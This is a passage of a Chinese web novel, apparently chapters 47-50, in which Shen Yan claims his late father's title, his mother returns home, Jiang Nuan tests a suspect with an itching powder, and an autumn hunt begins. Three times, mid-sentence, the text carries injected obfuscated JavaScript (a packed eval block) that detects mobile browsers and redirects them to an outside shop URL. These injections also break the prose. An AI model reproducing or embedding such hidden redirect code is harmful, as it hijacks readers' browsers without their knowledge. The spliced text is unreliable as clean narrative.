“皇上您可是万岁万万岁的天子,如今正当壮年,大昭的天还得您撑着呢,可不能说如此不吉之话呀。”其他宫女太监也都跟着喊万岁。 皇帝看着跪了一殿的人,叹了口气道:“罢了,你去看看安王世子到哪儿了。” “奴才遵命。”万来祥擦着眼泪起身,将殿内的人都一起打发了出去。恰好这时外头有小太监来通传,说是安王世子入宫了。 沈晏踏进殿内的时候,殿中空无一人,只有皇帝在圈椅中坐着,连万来祥也不在御前伺候着。 皇帝见他进来,眼里浮现出笑意。“你可去见了你母亲?” 沈晏觉得腿似有千斤重,他缓步走到台阶前,跪地行了一个参拜大礼。皇帝走下来将他扶起,眼神一直钉在他的身上,似有一种期待。 “你的母亲是不是同你说了什么?” 沈晏双手握拳,他看着皇帝眼角的皱纹和鬓边的白发,良久才道:“聊了一些臣儿时的事。” 皇帝来回走了两步,“可有……提起朕?” 四目相对,沈晏第一次认真地看着皇帝的眉眼,他的眉毛已不复漆黑浓密,双眼也有些许浑浊。但那其中的慈爱之情,他竟然这么多年都没有察觉出来。 沈晏点头道:“母亲提到了当年入宫伴读一事,与您有过一段同窗之谊。” “同窗之谊……”皇帝反复咀嚼这四个字,往后退了半步,他打量着眼前这个几乎是在他的亲手照料下成长起来的青年。 当年安王妃在外地诞下一子,他推算了时间,当下便觉得这个孩子是他的。可当他派人去安王府打探的时候,却被告知此子是早产儿,且有脉案为证。 他虽心头仍有怀疑,却不得不暂时放弃探究真相。后来孩子百日的时候,他领着皇后前去探望,那孩子的闹腾的模样分明像极了小时候的他。 他与兄长争执,虽然最后挨了安王妃一耳光,但他却十分确定,沈晏就是他沈博彦的种。那份给他看的脉案定然是假的。 后来不久,兄长猝然离世。他原本想将孩子认回来,但被安王妃拒绝了,并立下誓言要和他此生永不复相见,也绝对不允许他将将这个孩子抢走。 “博谦视他如亲子,安王府就只有这么一个孩子了。” 这是安王妃对他说过的最后一句话,那也是他们最后一次相见。 他曾恨过自己,也恨过兄长,但唯独没有恨过安王妃,也最是拿她没有办法。他守着对她的承诺,二十年来都不曾越雷池半步。 直到今日,他本以为沈晏可以同他父子相认,却不曾想,沈晏好似没有接受这个事实,也不愿意立马捅破这层窗户纸。 皇帝沉默了半晌后,重新找回了自己的声音:“除此之外,你的母亲当着什么也没提过?”他看着眼前比自己还要高出半个头的青年,郑重地问道:“你可想清楚了?” 沈晏没有回答,而是转头看向挂在书房内的新画。 画中人仍旧是那身熟悉的宫装,那熟悉的五官。从前他只觉得这女子的模样十分眼熟,后来去了七殿下的府中偶然见了他母妃的画像,便觉得皇上画里的人与云妃娘娘颇为相像。还以为是皇上过于思念七殿下的生母,才会时常作画来慰藉相思之情。 如今细看之下才发现,那画中女子所穿的衣裳哪里像宫中嫔妃的样式,还有那腕上的手镯分明是母亲从前常戴的那一只。 母亲这么多年一直被困在那晚的长乐宫中走不出来,他不该也不想将那天上的月光也遮住,那母亲便再也找不到回家的路了。 沈晏转过头,跪于殿前,昂首挺胸:“皇上,恶钱一案了结后,您曾问臣要什么赏赐。臣当时没想好,不知今日可否正式问皇上讨赏。” 皇帝将手背在身后,“你想讨什么赏?” 沈晏叩首:“继任我父安王的爵位。” 皇帝又陷入了沉默,良久。 也罢…… …… 从长乐宫出来的时候,唐田已经在宫门口等了有一段时间了。见到沈晏出来,他一脚把刚刚踢来踢去的石子儿踢飞了老远。 “世子,守忠死了。” 沈晏有点疑惑:“没抗住唐枳的手段?” 唐田猛摇头:“枳哥下手向来知轻重,他是毒发身亡。”难怪能死熬七日,竟是提前服用了毒药,存了死志。 沈晏捻了一下指腹,道:“封锁消息,想办法查出那毒是何来头,别漏出去。” 唐田得令离开。 返回王府的时候,沈晏看见门口扎堆好几个府中的奴仆,正在擦拭门上的牌匾以及门口的石狮子,连犄角旮旯都没放过。 今日是什么重要的日子么? 沈晏带着满脑袋疑问往里走,越走越觉得不对经,就算是逢年过节,这打扫的阵仗也未免太大了点,简直是要把王府重新翻修的架势。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16762843|187143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 库房里是没有喜庆一点的灯笼了吗?这个颜色和款式都过时多久了还敢拿出来?” “哎呀,你这个漆的颜色都不对,重新去换一个。” “地板的水要擦干一点,主子要是摔了怎么办?” 庭院中,康伯犹如挂帅出征的将军,带着他的拐杖指点江山。整个人犹如重获青春一般,显得干劲满满。 “康伯,你这是干什么呢?” 红灯笼都挂出来了,是有谁要在他王府中娶亲吗?怎么都没人通知他。 康伯听见沈晏的声音喜不自胜,激动地胡子都抖了两下,“世子你可算回来了,是王妃!王妃她回来了!”天爷呀,没想到他有生之年还能等到王妃搬回来住这一天。 沈晏内心震动,顾不上康伯在身后的絮絮叨叨,大步流星地朝主院走去。 这些年虽然他搬到了主院住,但主屋的卧房他还是给母亲留着的,往日他只睡在旁边的偏殿中。 林嬷嬷正在院内向几个小丫鬟问话,一打眼看到世子往这边走。她忙将丫鬟们遣散,向房中的王妃报信:“王妃,世子回来了。” 安王妃神情微顿,将手里的木雕小玩意儿放回博古架。 “他一个人回来的?后头可有跟着公公?” 林嬷嬷过来扶着她的手,道:“没有旁的人,就世子一个。” 安王妃的手有些颤抖,她深吸了一口气,这才在林嬷嬷的搀扶下走出了屋子。 母子二人在廊下相见,林嬷嬷识趣地退到一旁。 沈晏急切地开口道:“母亲要回来住那日为何不与儿子说一声。” 安王妃有点别扭地左右游移了一下目光,道:“你走得匆忙,没顾上。” 然后就是许久的沉默。 两人这么干站着也奇怪,林嬷嬷便想开口让王妃和世子进屋里说话。谁知她刚动,世子已经伸过手去扶王妃:“我扶母亲进去。” 安王妃下意识地躲了一下,正想让林嬷嬷来扶,随即想到了什么似的,又僵硬地停下了,面上闪过一丝慌乱和悔意来。 沈晏又试探地伸过手来,这次安王妃没躲,任由他的手扶着自己的胳膊在屋子里坐下。 林嬷嬷招呼丫鬟们赶紧沏茶。 “皇上召你今日进了宫?”安王妃端着茶喝了一口。 沈晏嗯了一声,坐得板正:“也无旁的事,只是问起了母亲那晚同我说了些什么。” 安王妃捏了捏手里的帕子,问:“你可说了?他有没有问你……” “没有。”沈晏摇头打断,他看出了母亲的紧张和不安,背脊软下来面向母亲:“我什么也没说,皇上最后什么也没问。” 安王妃定定地看着他,耳坠子轻微地晃着,眼中似有泪光。 沈晏露出一丝孩子气的笑来:“我还向皇上讨了赏,想早日继任父亲的爵位。” 安王妃就这么睁大了眼睛看着他,转瞬间泪如雨下。 她一直走不出那个夜晚,但也何尝不是将沈晏困在了那个幽闭的房间,还蒙住了他的眼睛,堵上了他的耳朵。任由他哭闹不止,她却从未蹲下身抱过他。 她本以为他这次会选择离开,可他却没有。他选择守在门外,帮她守着天上的月亮,不让它被乌云遮蔽。 沈晏拉过安王妃的手,轻声说:“我是父亲的儿子,一直都是。” 安王妃颤抖着去摸他的脸颊,心想自己是这世界上,最心狠和最不负责任的母亲了。 48. 第 48 章 姜暖那日落荒而逃后,县去了一趟镇安司找唐枳要东西。 听说唐枳喜欢研究一些稀奇古怪的玩意儿,便问他有没有一种可以让人接触过后在身上留下痕迹的东西。 唐枳从兜里掏出一个纸包:“这东西人一旦接触就会感觉浑身奇痒无比,然后一直抓挠,就会在身上留下挠痕。” 姜暖:“痒痒粉?”可她不想让人察觉,最好是悄无声息留下一点明显但又合理的痕迹。 “能不能改良一下?” 唐枳低头沉思了一会儿,道:“你等着。”然后钻进了一个小房间鼓捣了好半天才出来。 “我换了个方子,应该能达到你想要的效果。” 姜暖接过来,毫不吝啬地夸奖道:“你真是个天才!” 唐枳挺了挺胸,好奇地问:“你是要试探谁吗?” “哇,没想到你不仅是个天才还如此聪慧!”姜暖拍着他的肩膀,夸下海口:“放心,事成之后我让沈晏给你加工钱!” 唐枳晕晕乎乎地送走了姜暖。 不对? 天才和聪慧不就是一个意思?还有他的工钱是朝廷说了算,世子可做不了主。 唐枳:“……” 姜暖离开了镇安司后又一路溜达去了西市。 她径直去老摊位买了一包糖炒栗子,跑去郝掌柜的茶铺门口站了会儿,又去了隔壁的铁匠铺找铁匠唠了两句嗑。 然后又顺着西市的永济河一路溜达过去,在花灯巷对面的那条街从街头走到巷尾,最后在百货行附近的一个码头看到了一个举着钓鱼竿的老叟。 这个老叟姓刘,附近的人都叫他老刘。 老刘喜欢坐在河边垂钓,隔三岔五就会来甩上几杆子,大多是在当日的巳时左右。 他钓上来的鱼也不吃,就放在鱼篓里喂一喂附近的野猫。时日一长,整个西市的猫都知道河边钓鱼的老叟是个好心人。每当他提着鱼篓往河边码头一坐,附近的野猫便会聚集在此处等投喂。 姜暖嚼着糖炒栗子沿着阶梯走下来,果然见老刘附近蹲了几只花色不一的猫,吨位大点的便在他周围,吨位小点的就离得比较远,瞧着倒是一处奇景。 猫儿们见有陌生人过来,有几个警惕地起身。胆子大的弓背哈气,胆子稍小的则后退两三步,胆子最小的直接就蹿走了。 姜暖一眼就看到了一只吨位比较扎眼的橘白,脖子上挂了个小牌牌。见她来倒是没怎么动弹,只是警惕地看着她,一副随时准备撤退的摸样。 姜暖仿佛没看见它似的,走过去跟老刘攀谈:“刘爷爷你今日的鱼可喂得饱这些猫崽子?” 老刘头也没回:“随缘咯随缘。” 姜暖剥了一颗栗子,递给老刘:“刚出锅的栗子来一个?” “不吃。”老刘摇摇头,眼神黏在河面的浮标上,“女娃你莫出声咯,吵了我的鱼。” 姜暖于是不再出声,只在旁边沉默地吃着栗子,一直等到有鱼儿上钩。 老刘娴熟地将鱼儿从钩上取下,往旁边随意一扔,几个猫便上去哄抢。几番争夺下来,最后被一只剽悍的黑猫衔走了。 “我怎么不记得见过你也?”老刘挂饵的时候才抬头看了姜暖一眼,发现这姑娘他见都没见过,怎么知道他姓刘? “怎么没见过?”姜暖脸不红心不跳,瞎诌道:“你忘咯?我家的猫最喜欢来这里吃你钓的鱼咧。”这老刘年级挺大的,记性也不咋好。见姜暖如此笃定,还真以为是他忘记了。 每日西市来来往往那么多人,他也不能每一个都记得住。 他顿时慈眉善目了一些:“丫头你来这里干啥咧?” 姜暖给他手里塞了一把剥好的栗子,指了指附近蹲着的猫道:“我来找我家猫咧。” 老刘往那猫堆堆里看了一眼,问:“哪个是你家的咧?” “那个橘白的,胖得不行的。”姜暖抬手点了点那个挂着牌牌的橘白,又道:“它怕我得紧,我抓了它好些天都没抓到,刘爷爷你帮下我咯。” 老刘瞧着那圆滚滚的猫,毛色又亮又干净,确实像是家养的。他将栗子往怀里一揣,站起身来:“家养的还怕主人呐?你平日里是不是打它打太多了。” 姜暖笑着解释:“它太胖啦,打它也是因为它爱偷吃。” 那猫许是被老刘投喂得太多了,老刘伸手去捞它,它丝毫没反抗,反而异常乖顺地拿头蹭老刘的手。 老刘将猫抱过来的时候,姜暖趁机将唐枳给的药粉兜在手帕里。她刚一接过橘猫,便迅速将帕里的药粉抖在它的身上,顺便用力搓均匀。 “出去野了几天,毛发都变糙了。” 橘猫一看换人抱了,立马就开始反抗。四爪并用拼命地瞪姜暖,最后扭动着肥硕的身子,像个海参似得,挣扎着脱离了姜暖的怀抱,爪子勾着她的帕子一溜烟钻进附近的树丛里,消失了。 老刘见状露出一口黄牙:“看来打得不仅多还重呀。” 姜暖尴尬地笑了笑,借口追猫便离开了。 回去的路上却遇到了一位熟人,大理寺卿谈望舒。 谈望舒今日休沐,穿着有些旧的便服,手里提着菜篮子,篮子里装着鸡蛋和蔬菜,正往家中走。 “姜录事?你这是从西市过来?”谈望舒像个逛完菜市的普通人,提着一篮子菜在路边和友人交谈。 姜暖看了一眼他手里的家伙什,微讶:“谈大人亲自出来买菜啊?” “晚娘?”站在谈大人身侧的一个老妇人突然惊讶出声。她那双浑浊的双眼紧紧地盯着姜暖,颤抖的双手就要抬起来。 谈望舒单手拢着老妇人的手低下头道:“母亲,她不是晚娘。” “不是……”老妇人忽然神色恍惚,喃喃道:“也是,晚娘走了好几年了。”说罢她似乎是陷入了某种回忆,眼神变得有些呆滞,嘴唇一直蠕动着,但听不清她到底在说什么。 姜暖内心有一丝异样的触动,她看了一眼老妇人浑浊的双眸和全白的头发,问:“令堂这是将我当成了谁?” 谈望舒面带歉意:“家慈眼神不太好,许是将你当成了故去的舍妹晚娘。” 舍妹? 姜暖想起来了,唐田之前不是还八卦过,谈望舒有个半疯的妹妹,其实是他真正的未婚妻来着。 “我俩长得很像吗?”姜暖摸了一下脸。 谈望舒迅速地眨了一下眼睛,语气一改往日的严肃:“舍妹离世时同姜录事年纪相仿,正是风华正茂的年纪,错认也是情有可原。” 姜暖笑得眼睛都快成一条缝儿了,“我就当你是在夸我好看吧。” 谈望舒的脸上也浮起了笑意,顺势邀请姜暖去家中小坐。正好今日的午膳,他的母亲打算做姜暖评价颇高的野菜饼。 姜暖砸吧了一下嘴,欣然答应。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16768106|187143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也不知道沈晏从宫里回来没有,这会儿回去要是撞在一起吃饭也蛮尴尬的。 谈望舒的宅子不大,府上除了两个伺候老夫人的丫鬟还有三两个小厮之外,便没旁的人了。姜暖在院子里落座,两母子便手拉着手去了厨房,丫鬟上了一碗茶水也退下了。 倒是清净。 厨房里本有个厨娘,但今日这桌膳食倒用不上她,她便只负责烧火。老夫人除了亲自做了一盘野菜饼之外,其余几个菜都是出自谈望舒的手。 两母子在厨房里聊着天的功夫就将一桌菜做了出来,姜暖心想,若谈望舒不当京官儿,同他那个未婚妻能在老家男耕女织,膝下尽孝应该也能过得很幸福。 老夫人也许真是糊涂了,老眼昏花,一直不停地给姜暖夹菜,嘴里说着:“晚娘你要多吃一点,你太瘦了对身体可不好。” 谈望舒不好意思地看了一眼姜暖,正要同老夫人解释,姜暖拦住了。 “无妨,老夫人应该难得这么高兴。” 谈望舒感激地同她道了声谢。 一顿饭吃得温馨,饭后老夫人拉着姜暖的手絮絮叨叨地说了好多话。姜暖听着,觉得手背上的这双手虽然枯槁如秋草,但却温暖得像冬天的秋裤。 一直到老夫人疲倦睡下,她才告辞离开。 谈望舒将她送到门口,深深地鞠了一躬,“家慈今日开颜,多谢姜录事。” 姜暖弯了一下腰算作回礼,问:“晚娘是你的未婚妻?”方才与老夫人交谈,话里话外确实不太像说自己的女儿,反而是在说儿媳妇。 谈望舒也没藏着掖着,点头直言道:“晚娘吃了太多的苦,身患重病家中也无亲人。我将她接到家中照料,为了避免邻里闲话便对外称她为自己的妹妹。” 如此,那便说得通了。 离开谈府后,她往安王府走去,路上她掀开了自己的衣袖。只见胳膊上已经起了一片小红点,有点像过敏的症状,不过她从头到尾倒是并没有感到任何不适。 唐枳说,这玩意儿一旦染上没有个三两个月轻易消不了。 想要证实心中所想,这个时日也足够了。 到了王府门口,姜暖觉得这大门好像跟早上不太一样了。 这门口的石狮子感觉变了一个颜色,这红色的大木门也亮了两个度,看着崭新崭新的。 还有这门口的红灯笼是怎么回事? 她越往里走越觉得陌生,这怎么还整上红色的窗花了?离除夕还有几个月呢吧?这走廊上的帘子怎么都换上了红色的穗子? 她拦住了一个路过的小厮,“你们世子要娶亲了?” 小厮看一眼她:“没有啊。” 姜暖顿时丈二和尚摸不着头脑。 这时候两个小丫鬟端着俩托盘走了过来,笑得俩苹果肌鼓囊囊地挂在两颊:“姑娘回来啦?” 其中一个小丫鬟上前一步,道:“这是康伯给姑娘新做的衣衫,姑娘快换上看看?” 姜暖瞅了一眼那托盘里用料上佳的衣衫,心中怪异的感觉越来越盛,但是又想不出来眼下这是唱的哪一出。 她指了指府中全部变样的摆设,问:“你们先跟我说说这是怎么回事。” 那丫鬟仍笑着:“康伯吩咐的,王妃回来了,王府上下要喜庆。” 姜暖:“……” 她突然有点想转身离开是怎么回事? 49. 第 49 章 今夜饭桌上的气氛格外诡异。 姜暖婉拒了康伯的好意,仍旧穿着之前沈晏买的衣服大大方方地进了主院。原本她没打算同难得聚首的母子二人共进晚餐,但刚同王妃见礼准备离开,王妃便热情地将她留下来。 姜暖扭头看沈晏,沈晏没看他。盛情难却下,还是坐了下来。 沈晏长得不太像王妃,不过从侧面看,那个耳垂倒是一模一样。他的话少,想必也是随了安王妃,一顿饭吃下来,只听得见筷子的响声。 母子二人几乎没有眼神交流,互相夹菜也像是在完成什么任务似的,看得姜暖浑身僵硬,比当事人还不自在。她扒拉干净碗想早点开溜,但是面对温温柔柔的王妃又说不出口。于是她用脚踢了踢沈晏,暗示他帮自己脱身。 沈晏的筷子停了一下,然后夹了一筷子鱼肚子上的肉到她碗里。 姜暖:“?”我是让你给我夹菜的吗? 她一口吃掉鱼肉,又踢了他一脚。 沈晏偏头看了她一眼,然后吩咐丫鬟把那盘鱼肉换到了姜暖面前。 姜暖:“……”能不能先放过这盘鱼! 王妃将两人的小动作收进眼底,笑着问:“姜姑娘爱吃鱼?” 被抓包的姜暖略有点尴尬,“谈不上喜欢,不过是不挑食。”搁她面前的几道菜她全都宠幸了,不过今天那盘鱼放得离她远,便没夹。往常只有他俩吃饭的时候,她倒是没什么顾虑,夹不到的菜会站起来,站了几次后,沈晏便代劳了。 她只是没想到,今天当着他母亲的面,他不仅会错意,还十分自然地给她夹菜。诡异地像一家三口,关键王妃还没觉得有什么不妥的。 王妃瞧出了姜暖的窘迫,温和道:“姜姑娘可随性些,府里一向不讲究虚礼。”说完示意丫鬟将漱口的茶水端过去。 待姜暖离开后,王妃问沈晏:“你与姜姑娘可有心意相通?” 沈晏摇头,有点小声:“她不让我说。” 王妃失笑,一副过来人的口吻:“那定是你的喜欢还不够。” 刚进屋子的姜暖连着打了两个喷嚏,嘀咕是不是降温了。 九月二十八,七殿下生辰。 往年七殿下的生辰之日总是在花灯巷宴请八方好友,还搭戏台子亲自上场演几出。如今,朝野上下都知道曾经的七殿下不过是碍于在皇后手底下讨生活,不得已忍辱负重,才穿着女装浓墨重彩装了十几年。 皇后和李家这一倒台,七殿下自然是要一雪前耻,不仅干脆利落烧了府邸的罗裙,还一跃得了诸多大臣明里暗里的支持。这生辰日,府邸自然是高朋满座,冠盖如云。 宴请的帖子自然也送到了姜暖的手里,但姜暖没去,只雇了个跑腿的将准备的贺礼送去。如今沈晏因为身世的传言被推到了储君之争的风口浪尖,按理来说,沈晏如果想将这种离谱的传言止住,他应该高调地上门道贺,并将臣子的身份饰演好才对。 但沈晏似乎也没打算去,姜暖大概猜到了沈晏也在怀疑,七殿下就是背后推波助澜的那个人。 眼下,估计是想利用此事激一激沈慕朝。 不过姜暖还是很好奇,沈晏当真不在乎储君之位吗? 沈晏正挽了裤腿站在溪边帮踏岳和踏雪洗澡,手里的马刷子挥舞得十分娴熟。听到姜暖这个疑问,他头也没回:“志不在此。”稀松平常的语气好似在说今天天气不错。 姜暖拿着一摞石子儿打水漂,“可人家不这么想。” 那句话怎么说的来着,匹夫无罪怀璧其罪。这皇帝一天不下场辟谣,沈晏就得当一天皇帝的私生子。也不知道这个小老头在想啥,早点将储君之位定下来不好么?非要搞得大家兄弟阋墙。 “你这私生子的传言不会是从宫里传去的吧?” 姜暖越想越觉得这个可能性很大,七殿下布局让皇后和沈晏相斗,他自己坐收渔翁之利,没必要把沈晏的身世传出去。加上之前谈望舒对马扁子是死于谁手也讳莫如深,大理寺以意外落水匆匆结案。 姜暖后来还去问过,但谈望舒只回了四个字——城门失火。 她一开始猜测可能是皇后当时被逼得走投无路才将这个消息放出来,想来个围魏救赵。但是后面她细细推敲了一下谣言开始传出来的时间,发现那会儿李家还没有倒台,远远早于他们抵达昭宁城的时候。 也就是说,除非皇后能未卜先知,否则根本没必要弄出这等风波。但话又说回来,皇后要是能未卜先知,这李家也不至于被清算的这么匆忙了。 思来想去,只有一个可能性,这是皇帝有意透出去的,不过她没敢说得这么直白。 沈晏听完她的一通分析,看向她的眼神里带着赞许,不过还是开口提醒道:“太子在东宫一日,就没有储君之争一说。” 姜暖轻轻地拍了一下自己的嘴巴,表示今后一定谨言慎行。 可是朝中明眼人都看得清楚,太子失宠,想必这个位置也不如从前那般坐得稳当了。 之前太子大病一场后,好似换了个人,不再像从前那般优柔寡断。如今在朝堂上他与七殿下分庭抗礼,处理起朝政来也是井井有条,大家都说太子成长了不少。 今日七殿下寿辰,太子倒是不计前嫌地去了,还备上了丰厚的大礼。 席间两人谈笑风生,一副兄友弟恭的模样。太子也不像从前那般摆谱,七殿下也足够谦卑。 只是临了,太子忽然提起来今年的秋猎一事。 两年一次的秋猎是从先祖那会儿就定下的,意在君臣同乐,也是考校皇子和朝中新秀们的骑射之艺。 “眼下秋分刚过,宫人来禀说北苑的獐子梅花鹿等都养得膘肥体壮。“”太子面带愁云,“可惜父皇今岁龙体抱恙不能前往。” 沈慕朝一脸纯善:“父皇可是想取消今年的秋猎?” 太子摇了摇头:“祖宗规矩不可废。” 只是万来祥昨日说皇上问起了秋猎一事,一开始确实有意将今年的秋猎取消,但言辞间又颇觉得遗憾。 “不服老不行咯,朕上一次猎得老虎还是在二十岁的时候。”皇帝放下批红的折子,感叹岁月不饶人。 万来祥捧上一盏热茶,笑道:“哎哟喂,皇上可是要万万岁的,如今才哪儿到哪儿啊。” 皇上笑骂了他一句老东西,又道:“北苑那两头老虎已成年了,今年就让他们几个年轻人去吧,一切从简。” 万来祥正要下去安排,皇上又喊住了他:“此事交给太子处理。” 太子领命后沉思良久,他记得母后跟他提起过,当年父皇虽得了李家和郭家的扶持,但在一众角逐的皇子中优势并不突出。 三十六年前的那次秋猎中,当时还是皇子的他于危急之下将先皇从一头发狂的猛虎爪下救了来,这才从一众皇子中脱颖而出得了先皇重用,后才顺利成为储君,登上皇位。 “你以为世上就有这么巧合的事?”皇后当时摸着太子的脸蛋,脸上的笑容无比讽刺。“不过是旁人作戏让你父皇识破了,最后自己葬身虎口给你父皇做了嫁衣罢了。” 那会儿太子懵懂,皇后帮他整理着领口,教导他要想争王储,就要学会算计人心。皇宫是个吃人不吐骨头的地儿,要想活着就要有手刃手足的狠心。 此前父皇急召沈晏入宫,似乎也有意为他的身份正名。 太子脑瓜子一转,突然萌生了一个可怕的想法来。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16776117|187143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“父皇虽不能亲去,但秋猎一事还是依旧,不过需得一切从简。”他看着沈慕朝的眼睛,紧蹙的眉头慢慢舒展开来,“此事父皇虽交给我处理,但你我同为皇子,便想着与你商议一二。既然是一切从简,那便要做一些取舍。” 以前都是文武百官同去,现下皇上只说让年轻人去玩耍,那这出席的名单是要好好拟定一下才行。 沈慕朝提议道:“既是从简,那便依照民间“赏花踏青”的规格来办就行。不用锣鼓喧天,只需叫上适龄的世家子弟和寒门新贵即可。” 太子点头,脸上有了笑意:“七弟说得在理。” 送走太子后,府里的下人们陆续开始打扫待客的前院,刚刚还人满为患的院子顿时显得空落落的。沈慕朝收起脸上的笑容,跟管家要了库房的钥匙便独自去了库房。 他在被塞得满满当当的架子上寻找着姜暖送来的礼物。 盒子是姜暖随便买的,用了个红色的发带绑了一下,系了一个歪歪扭扭的蝴蝶结。一打开里头是一个看着很普通的香囊,有一条长长的穗子,若是挂在腰间定像一串鞭炮。底下压着一页信纸,四四方方的,上头还画了一些花朵和一个像点心一样的东西,中间还插着一个蜡烛。 字迹有点像小孩子写的,倒也算方正,想着应该是她苦练了许久的成果,沈慕朝不由得笑出了声:“穷鬼。” 信上写的是祝他生辰快乐,岁岁平安。还说道她特地去广济寺为他请了一道平安符,放在了她亲手挑选的香囊里,保佑他岁岁年年平安喜乐。 沈慕朝将那香囊挂在腰间,弯起了嘴角:“穷鬼。” 而他口中的穷鬼,此时正和沈晏一人一马踩着傍晚的霞云悠哉游哉地往回走。 今日他们又去了一趟无名居,正巧赶上煤球下崽。 姜暖惊叹煤球路都要走不动了竟然还有力气生产,温老将军道:“煤球知道自己要走了,所以特地留下了一只狗崽来接她的班。” 前不久,煤球独自离开了山庄,回来的时候便怀上了。那个时候他们就知道,煤球这是怕自己活不久了,所以要在临走前生下一个继承人出来,帮他们继续守着院子。 小狗崽趴在母亲怀里酣睡,露出了圆滚滚的肚皮。 姜暖:“怪不得就生了这么一只独苗苗。” 温老将军抬眼看她,满眼慈爱之情:“那屋里的东西你真不打算带走啦?” “留着呗,我还要常来的。”姜暖说完朝厨房遛达,看看吴伯今日准备的菜色。 沈晏便同温老将军在院中下棋,一直到夕阳西下,两个人才从无名居离开。 路上沈晏状似无意般打听姜暖今日给七殿下送的什么礼,听到是一封手写信后表情只是略有点吃味,待姜暖说还有一个香囊的时候他差点破音。 “你亲手绣的?” 姜暖白了他一眼:“我绣得明白么我!”现成就有的东西,做什么要为难自己哦。 “不过那平安符倒真的是我亲自去求的,那门口倒卖得太贵了,我觉得不划算。”她痛恨一切黄牛。 沈晏抿着嘴笑,背后是漫天的红霞,衬得他这张脸就格外好看。 姜暖本想质问他笑什么,结果一扭头就看到这人的脸在发光,登时将话咽了回去,扭头默念色即是空,空即是色。 沈晏看着她粉粉的耳垂,笑的弧度更大了,他将缰绳一拉靠近姜暖,问:“小师姐有兴趣做世子妃吗?” “啊——沈晏你有病,干嘛突然说这个!” 姜暖一夹马腹瞬间跑出去十几米远,马背上她感觉心跳的速度跟马蹄声似的,脸颊上也好似飘上了红霞,烫的她脑子里一片浆糊,只剩下沈晏那张含笑的眼。 50. 第 50 章 春寻芳,秋狩猎。 北苑位于昭宁城的东北角,背靠龙脊山脉,面积约两百平方公里,是皇家的专属狩猎场。 今年因为一切从简,所以皇家仪仗等花里胡哨的排场都是能省则省,文武百官更没几个受邀在列。在场的除了今年的朝廷新贵,便是一些好玩的世家子弟。 姜暖对于自己能出现在名单上也是挺受宠若惊的,她原本以为这种上流活动她这种微末小官儿应该是靠边儿站的,没想到还真被她成功混进来了。 她骑着踏雪,排在队伍的末尾,身后还跟着老长的禁卫军。队伍最前头,太子打头阵,黄色的旗帜迎风招展,一条绵延数百米的队伍终于在卯时三刻出发,慢悠悠地朝着北苑推进。 姜暖打着哈欠,凌晨六点的风虽然不大,但还是让她打了一个激灵。 队伍走得奇慢无比,等到了北苑的时候,太阳已经从山头跳了出来。此时秋高气爽,晨曦打在林中,朝露未散,星光点点,似有鹿鸣悠然响起。 姜暖一副困得不行的样子,坐在马背上眼睛被太阳晃得只能张开一个缝隙。太子在高台上发表了此行重要的演讲,还宣布了此次秋猎的规则以及奖品。 一听前三名都有钱拿,她瞌睡就醒了。 而重在参与等同于没有奖励,就赏赐一顿吃的。 那不行,来都来了,保底她也得搞个第三名。 此次秋猎不以数量,种类取胜,而是以所得猎物的难易程度来决定。比如打一只老虎肯定比打十几只梅花鹿要强,且还需在太阳下山前到达营帐交付的所得之物。 为了公平起见,队伍是靠抽签来决定,三人为一组。 姜暖伸长了脖子去找沈晏,对方回了一个你放心的眼神。沈慕朝此时也看向她,姜暖猝不及防被抓包,只能尬笑着移开了目光。 抽签结束后,他们原本计划的三人小组被无情拆散了。好消息,拆走的不是姜暖。坏消息,把沈慕朝给放进来了。 “田儿啊,不是我们不带你,实在是……”姜暖握着唐田的肩膀,摇头:“天命难违。” 唐田翻着白眼离开了。 沈慕朝骑着马过来,见着她还是习惯性噘嘴:“阿暖,我的生日宴你怎地不来?” “哎呀,临时有事儿抽不开身,下次一定下次一定。”姜暖打了个哈哈转身往林子里钻。 沈慕朝在后面哼哼:“什么大事比我的生日宴还重要!” 姜暖小脑瓜一动,回:“产妇接生。” 沈晏:“……” “产妇?”沈慕朝脑子空白了一下,“接生?” 他有点不信地看向沈晏,沈晏点头:“确有此事。”严格来说,煤球是母狗,它生孩子,确实属于产妇。至于接生么,他们也确实在当天亲自迎接了一个小生命。 沈慕朝一时语塞,没吱声了。 三个人沉默地往树林深处去,身后跟着一队侍卫护航。刚刚太子说,北苑养了两只老虎,都居住在最北边的深山中,若无把握最好不要去招惹。 一头成年虎体重可达两百多公斤,一个巴掌就能拍碎你的天灵盖。姜暖虽然想争一保三,但也不想把脑袋栓裤腰带上,所以她决定去搞野猪。 成年野猪虽然肉厚难杀,但比老虎和熊笨一点,相对来说狩猎起来要容易一些。姜暖问领头的侍卫长:“野猪喜欢在哪一带出没?” 